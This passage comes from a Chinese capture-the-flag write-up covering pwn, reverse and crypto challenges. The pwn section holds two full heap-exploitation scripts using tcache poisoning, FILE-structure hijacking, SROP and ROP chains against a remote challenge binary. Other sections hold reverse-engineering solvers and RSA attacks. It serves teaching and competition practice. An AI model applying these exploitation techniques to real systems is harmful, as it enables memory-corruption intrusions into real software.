    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter(
"input your car choice >> ","1")
    p.sendlineafter(
"size:",str(size))
    p.sendafter(
"content:",content)

def edit(idx,content):
    p.sendlineafter(
"input your car choice >> ",'4')
    p.sendlineafter(
"idx:",str(idx))
    p.sendafter(
"content:",content)

def show(idx):
    p.sendlineafter(
"input your car choice >> ",'3')
    p.sendlineafter(
"idx:",str(idx))

def dele(idx):
    p.sendlineafter(
"input your car choice >> ",'2')
    p.sendlineafter(
"idx:",str(idx))

get_p(
"./CAT_DE")

add(
0x440,"AAA")
add(
0x88,"AAA")
add(
0x440,"AAAA")
add(
0x88,"AAA")
dele(
0)
dele(
2)
add(
0x450,"AAAA")
add(
0x440,"AAAAAAAA")
add(
0x440,"AAAAAAAA")
show(
4)
libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym[
'environ']
stdout = libc.sym[
'_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(
2)

heap_addr = u64(p.recv(
8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(
0xf8,"AAA")

add(
0x108,"AAA")
add(
0xf0,"AAAA")
add(
0x88,"AAA")

for i in range(7):
    dele(i+
5)

target = heap_addr + 
0x17c0
ptr = heap_addr + 
0xc60
edit(
0,p64(target))
payload = p64(
0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(
0x100,b"\x00") + p64(0x100)
edit(
12,payload)
dele(
13)

add(
0xe8,"AAAA")
add(
0xe8,"AAAA")

dele(
5)
dele(
6)
show(
12)
p.recvuntil(
"\xf1")
p.recv(
7)
en_key = u64(p.recv(
8))
print(
"en_key ===> " + hex(en_key))
key = u64(p.recv(
8))
print(
"key ===> " + hex(key))
payload = p64(
0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(
0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(
12,payload)

add(
0xe8,"AAAA")
add(
0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(
0xd0,"A"*8)
show(
7)
stack = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(
6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 
0x000000000002a3e5 + libc.address
pop_rsi = 
0x000000000002be51 + libc.address
pop_rdx_r12 = 
0x000000000011f497 + libc.address
read_addr = libc.sym[
'read']
open_addr = libc.sym[
'open']
write_addr = libc.sym[
'write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(
0) + p64(open_addr)
orw += p64(pop_rdi) + p64(
3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(
1) + p64(write_addr)

add(
0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook。

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

 

context.log_level='debug'

elfelf='./CAT_DE'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      telescope $rebase(0x202040) 16

      b _IO_obstack_xsputn

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',49429)

      gdb_open=0

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    def choice(a):

      io.sendlineafter(' >> \n',str(a))

 

    def add(a,b):

      choice(1)

      io.sendlineafter('size:\n',str(a))

      io.sendafter('content:\n',b)

  

    def edit(a,b):

      choice(4)

      io.sendlineafter(':\n',str(a))

      io.sendafter('content:\n',b)

 

    def show(a):

      choice(3)

      io.sendlineafter(':\n',str(a))

 

    def delete(a):

      choice(2)

      io.sendlineafter(':\n',str(a))

 

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    delete(0)

    delete(2)

    add(0x4f8,'\x00')

    add(0x4f8,'\x00')

    show(0)

    io.recvuntil('context:\n')

    io.recv(8)

    heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

 

    show(2)

    io.recvuntil('context:\n')

    io.recv(8)

    libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    gadget=[

    'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

    'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

    'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

    'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

    'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

    ]

    gadget_addr=libc.search(asm(gadget[3])).next()

 

    delete(3)

    delete(2)

    delete(1)

    delete(0)

 

    add(0x508,'aaa')

    add(0xf0,'aa')

    add(0xf8,'aa')

    add(0x4f0,'aaa')

    add(0xf0,'aa')

 

    edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

    edit(2,'\x00'*0xf0+p64(0x700))

    delete(3)

    delete(4)

    delete(1)

    add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))

 

 

 

    add(0xf0,'aa')

    add(0xf0,p64(heap_base+0x2b0))

 

 

    from FILE import *

    context.arch='amd64'

    IO=IO_FILE_plus_struct()

    IO._flags=0xfbad2087

    IO._lock= heap_base+0x10000 #can read addr

    IO._IO_save_base=0x21 #size unuse

    IO._chain=0x21 #size unuse

    IO.vtable=libc.sym['_IO_file_jumps']-0x240 

    #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

 

    IO_addr=heap_base+0x2b0

    SROP_addr=IO_addr+0x200+0x10

    obstack_addr=IO_addr+0xf0

    flag_name_addr=SROP_addr-0x8

 

    pay=str(IO)[0x10:]

    #pay+=obstack_addr

    pay+=p64(obstack_addr)

    #pading

    pay+='\x00'*0x8

    #obstack struct

    '''

    struct obstack          /* control current object in current chunk */

    {

      long chunk_size;              /* preferred size to allocate chunks in */

      struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

      char *object_base;            /* address of object we are building */

      char *next_free;              /* where to add next char to current object */

      char *chunk_limit;            /* address of char after current chunk */

      union

      {

        PTR_INT_TYPE tempint;

        void *tempptr;

      } temp;                       /* Temporary for some macros.  */

      int alignment_mask;           /* Mask of alignment for each object. */

      struct _obstack_chunk *(*chunkfun) (void *, long);

      void (*freefun) (void *, struct _obstack_chunk *);

      void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

      unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

      unsigned maybe_empty_object : 1; /* There is a possibility that the current

      unsigned alloc_failed : 1;      

    };

    '''

    pay+='\x00'*0x38+p64(gadget_addr)

    pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)

 

    pay=pay.ljust(0x180,'\x00')

    pay+=p64(0)+p64(SROP_addr)

    pay=pay.ljust(0x1f8,'\x00')

    

 

    srop=SigreturnFrame()

    srop.rsp=SROP_addr+0x100

    srop.rdi=0

    srop.rsi=0

    srop.rdx=0x30

    srop.rip=pop_rax_ret+1

 

    pay+='./flag\x00\x00'

 

    pay+=str(srop)[:0x20]

    pay+=p64(libc.sym['setcontext']+61)

    pay+=str(srop)[0x28:]

 

    pay=pay.ljust(0x300,'\x00')

 

    pay+=p64(pop_rax_ret)+p64(3)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rdi_ret)+p64(flag_name_addr)

    pay+=p64(pop_rsi_ret)+p64(0)

    pay+=p64(pop_rax_ret)+p64(2)

    pay+=p64(syscall_ret)

 

    

    pay+=p64(pop_rax_ret)+p64(0)

    pay+=p64(pop_rdi_ret)+p64(0)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rax_ret)+p64(1)

    pay+=p64(pop_rdi_ret)+p64(1)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

 

    delete(2)

    delete(3)

    edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))

 

    add(0xf0,'aa')

    add(0xf0,p64(0)+p64(0x300))

 

 

    

 

 

    

    success('libc_base:'+hex(libc_base))

    success('heap_base:'+hex(heap_base))

 

    gdb_attach(io,gdb_text)

    io.interactive()

 

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

 

四、REVERSE

1.ez_cpp

patch程序, 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

爆破脚本:

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

2.3D_Maze

dump迷宫地图


m = ['#', ' ', '2', '$', '3', '@', '5']

for level in range(6):
    print('level', level)
    for y in range(10):
        line = ''
        for x in range(10):
            n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
            line += m[n]
        print(line)

手搓


level 0      跳 1-?-0
## #######
## #### ##
## #    ##
## # #####
## #     *衔接1   wddwwdddddD
## # #####
##       *衔接1   
##4# #####
###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ### 
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来  
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########


00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake:

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

 

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

 

srand = libc.srand

rand = libc.rand

 

srand(0x94307F97)

seed_list = []

for i in range(361):

    seed_list.append(rand())

 

 

def enc(buf, size, seed):

    srand(seed)

    keysize = int(rand()*1.0/32767.0 * 256.0)

    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

    pwd = ''

    for i in range(keysize):

        idx = int(rand()*1.0 / 32767.0 * 63.0)

        pwd += table[idx]

 

    cipher = ARC4.ARC4Cipher(pwd.encode())

    xorstream = b'\x00'*size

    xorstream = cipher.encrypt(xorstream)

    outbuf = bytearray(buf)

    for i in range(size):

        outbuf[i] ^= xorstream[i]

    return bytes(outbuf)

 

 

foods = []

for i in range(361):

    srand(seed_list[i])

    while 1:

        y = rand() % 20

        x = rand() % 20

        if not (x == 0 or x == 19 or y == 0 or y == 19):

            # print(i, y, x)

            foods.append((y, x))

            break

 

 

tmp = 0x92

 

data = b'\x02'

for i in range(2):

    data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

 

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

    y, x = foods[i]

    pos = y << 8 | x

    data = enc(data, 3+i, pos)

    # print(data.hex())

 

    _tmp = tmp

    # print(hex(tmp-1), hex(data[0]-1))

    tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

    flag_data = data[:]

    data = data[::-1]

    data += bytes([_tmp])

    # print(hex(tmp))

 

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

babythread:

断在0x411BDE位置,把输入替换成密文

(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。

然后断在memcmp处, 拿到明文flag。

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
    s=[]
    t=[]
    out=[] #putput
    for i in range(256):
        s.append(i)
        t.append(key[i%len(key)])

    j=0
    for i in range(256):
        j=(j+s[i]+t[i])%256
        s[i],s[j]=s[j],s[i]

    i,j=0,0
    for p in range(len(m)):
        i=(i+1)%256
        j=(j+s[i])%256

        s[i],s[j]=s[j],s[i]

        index=(s[i]+s[j])%256
        out.append(s[index]^m[p])
    print(bytes(out))

rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

 

 

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea  
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

3.gowhere


from claripy import *
from libnum import *


tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9


def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17


def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3


def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1


solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])


for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

4.ezr3

脱壳,调试

魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。

 

3qvoylnfqmi13802.jpg

 

之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 

可执行文件 

 

wbddqs3fldy13803.jpg

 

之后即可将文件push到手机上并通过安卓真机+IDA调试

分析

main函数开头会修改内存中的数据,调试获取即可

 

qqrhd12osf413805.jpg

 

加密过程如下:循环移位、异或、乘法运算

 

fq1bgtjrfop13807.jpg

 

脚本:

unsigned int fin[36] = { 
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 
0x00001888, 0x00003B80, 
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 
0x0014F410, 0x0002CB9F, 
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 
0x00050CF8, 0x00005D64, 
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 
0x000DBACB, 0x00049680, 
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 
}; 
unsigned long mul[36] = { 
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 
0x00000000000003C9, 
0x0000000000000C3F, 0x00000000000017E9, 
0x000000000000130E, 0x0000000000000088,0x0000000000000486, 
0x000000000000202F, 
0x0000000000002230, 0x00000000000024B4, 
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 
0x00000000000023EB, 
0x0000000000000C7E, 0x000000000000042B, 
0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 
0x0000000000001751, 
0x0000000000000ACE, 0x0000000000001894, 
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 
0x0000000000000D1C, 
0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 
0x000000000000214D 
}; 
unsigned char flag[40] = { 0 }; 
unsigned long* a = &mul[18]; 
for (int i = 0; i < 36; i += 6) { 
flag[i] = fin[i] / (*(a - 18)); 
flag[i + 1] = fin[i + 1] / (*(a - 12)); 
flag[i + 2] = fin[i + 2] / (*(a - 6)); 
flag[i + 3] = fin[i + 3] / (*(a)); 
flag[i + 4] = fin[i + 4] / (*(a + 6)); 
flag[i + 5] = fin[i + 5] / (*(a + 12)); 
a++; 
} 
int j = 0; 
for (int i = 35; i >= 0; --i) { 
flag[i] ^= flag[j++]; 
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; 
} 
printf("%s", flag);

 

yxyxg4g2fne13808.jpg  

 

 

 

 

 

 

五、CRYPTO

1.signin

关键点是求出data1,data2。通过data3 = ring(data1 / data2)

我们可以使用连分数求解。

脚本1:

import gmpy2
from Crypto.Util.number import long_to_bytes


#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588


c = continued_fraction(data3)
print(c)


alist = c.convergents()
print(alist)


for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)


#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)


p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
 

脚本2:

 

 

data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
alist = c.convergents()
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break
 
data1 = int(a[0])
data2 = int(a[1])
 
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
 
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
 
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
3mkwivwfjnq13809.jpg SYC{a00338c150aa3a5163dbf404100e6754}


 

2.crazyTreat

关键在于构建关于m的多项式

$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
 
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$

即:

$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\

且:

k_3p=P-M,k_4q=Q-m,k_5r=R-m\\

所以:

P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
 
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576


n = clown
p = trick


pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)


#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030


PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)


r=m


#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))

 

 

首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了

脚本2:

c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209

trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

'''

len_bin=len(bin(trick)[2:])

high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'

high_len=len(high)

low_len=512-high_len

PR.<x> = PolynomialRing(Zmod(clown))

f = int(high,2)*2^low_len +x

x0 = f.small_roots(X=2^low_len, beta=0.4)[0]

#76347864203588455868161824448305083084387260376528823546715135

p=int(high,2)*2^low_len +x0

print(p)

'''

p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711

q=clown//p

phi=(p-1)*(q-1)

from Crypto.Util.number import *

d=inverse(65537,phi)

print(long_to_bytes(pow(c,d,clown)))

 

脚本3:

 

clown =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
    r=f.small_roots(X=2^cut,beta=0.4)
    if r:
        r=a[0]
        break

p=GCD(ZZ(f(r)),clown)
